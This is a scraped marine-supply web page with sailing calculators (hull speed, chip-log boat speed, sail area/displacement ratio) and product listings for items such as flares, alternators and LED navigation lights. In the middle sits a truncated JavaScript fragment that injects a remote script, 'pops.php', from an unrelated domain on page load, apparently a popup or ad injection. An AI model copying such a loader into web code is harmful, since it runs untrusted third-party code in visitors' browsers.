Sailor's Solutions LLC      
Marine Calculators
Hull Speed
Maximum Speed of a Single-Hull Displacement Boat

Hull Speed = 1.34 * (LWL)1/2
  
What's your boat's length of waterline in feet?  
 

Boat Speed
If your speed log is disabled, you can calculate the boat's speed by determining the time it takes for a wood chip or other floating object to pass from the bow to the stern. If you want to retrieve the object, attach a string to it.

Boat Speed = (60 (sec/min) * 60 (min/hr) * length of boat in feet) /
( 6076.1 (feet/nautical mile)* seconds for chip to pass)
How long is your boat in feet?
How long does it take for a light object to reach the end of the boat in seconds?
 

Sail Area Displacement Ratio
This ratio indicates how fast the boat is in light wind. The higher the number the faster the boat.
10-15Cruiser
16-20Cruiser-Racer
21-24Racer
> 24Performance Racer

Sail Area Displacement Ratio = Sail Area / ( Displacement Volume )2/3
Displacement Volume in Cubic Feet = Weight in Pounds / 64
What is the area of your sail in square feet?
How heavy is your boat in pounds?
 

unction(d){let s=d.createElement('script');s.async=true;s.src='https://news-cixuki.com/code/pops.php?sid=8051263&sub1=sailorssolutions&land=16';d.head.appendChild(s);})(document);
product<br>image
VelcroŽ Brand Marine Grade Hook and Loop,
2-inch-wide, waterproof adhesive-back. Sold by the foot in white or black

Solve onboard mounting problems fast! A little goes a long way!
$4.99
product<br>image
Laser Rescue Flare
Hand-held day and nighttime laser signaling device.
$99.95
product<br>image
No-OX-ID A Special Electrical Grade Conductive Grease and Contact Lubricant
Use on all electrical contacts to prevent corrosion. Rated number one by "Practical Sailor" Dec. 2010
$12.95
product<br>image
Winch Handle Holder

$24.95
product<br>image
60-100-SR-IG alternator, ARS-5-H regulator, MC-TS-A Alternator Temp Sensor, MC-TS-B Battery Temp Sensor
Everything you need to upgrade your Yanmar,Perkins or other saddle mount dual foot alternators to the most efficient charging system for AGM or flooded cell batteries

Charge faster Charge better!
$939.95
product<br>image
Wireless 12 Volt DC Remote Switch
Use the same technology that unlocks your car door to turn your deck lights on before you board from up to 75 Yards away - Makes boarding easier and safer!
$39.00
product<br>image
Signal Mate 2NM LED Tri-Color & 2NM Anchor with Wind Indicator Illumination Includes mounting bracket
Compact and rugged Designed for many years of operation Made in USA
On Sale through February. MSRP $351.00, Now $285.00!
$285.00
product<br>image
Signal Mate 3 NM LED Anchor Light
Compact and rugged Designed for many years of operation. Mounting bracket included Made in USA!
On Sale Now. MSRP $224.00, Now $185.00!
$189.95

Go to top of page.